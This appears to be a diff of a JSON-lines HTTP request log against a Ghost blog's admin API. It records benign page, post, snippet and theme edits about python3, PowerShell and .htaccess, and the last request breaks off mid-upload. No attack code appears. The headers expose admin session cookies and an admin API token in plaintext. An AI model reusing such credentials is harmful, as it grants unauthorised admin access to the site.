primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
|
||||||
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
@@ -760,3 +762,33 @@
|
|||||||
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
|
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
|
||||||
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
|
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
|
||||||
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: 